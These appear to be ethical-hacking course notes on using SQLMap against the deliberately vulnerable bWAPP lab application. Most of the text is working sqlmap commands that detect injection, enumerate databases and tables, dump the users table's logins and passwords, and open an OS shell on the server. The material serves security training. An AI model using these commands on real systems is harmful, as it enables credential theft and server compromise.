- Filename: eccouncil-ceh31250-v12-15-5-1-sqlmap.md
- Show Name: CEHv12 (312-50)
- Topic Name: Web Application Hacking: SQL Injection
- Episode Name: SQLMap
  ==

SQLMap

Objectives:

- Doing this manually is great, but are there tools available to help us automate this process?
    - Yes. Do a google search for sqli tools
        - SQLMap is our go-to
- OK so we've got SQLMap, but how do we release it upon our target?
    - INJECTION TESTING
        - Gathering commonly needed elements
            - Cookies
            - POST data (if data not in URL)
        - `sqlmap --url="http://bee-box/bWAPP/slqi_1.php?title=iron" --dbs`
            - `--dbs` info is found using the `-hh` option of sqlmap
            - Add `--cookie="security_level=0;PHPSESSID=xxxxxx"`
                - the bwapp app requires it
            - If POST then add `--data="title=iron&action=search"`
                - Input data and parameters are usually found in the request BODY
- So we have a good injection point and even enumerated the name of the database, but how do we get at the data?
    - Enumerate the Table names
        - `sqlmap --url="http://bee-box/bWAPP/sqli_1.php?title=iron" -D bWAPP --tables`
    - Enumerate Columns
        - `sqlmap --url="http://bee-box/bWAPP/sqli_1.php?title=iron" -D bWAPP -T users --columns`
    - Dump database data from table 'users' from columns 'login' and 'password'
        - `sqlmap --url="http://bee-box/bWAPP/sqli_1.php?title=iron" -D bWAPP -T users -C login,password --dump`
- Any other useful tricks?
    - How about COMMAND EXECUTION?
        - `sqlmap --url="http://bee-box/bWAPP/sqli_1.php?title=iron" -D bWAPP --os-shell`
            - PHP shell, since this is a PHP app
            - Custom web root (**/var/www/bWAPP/documents/**)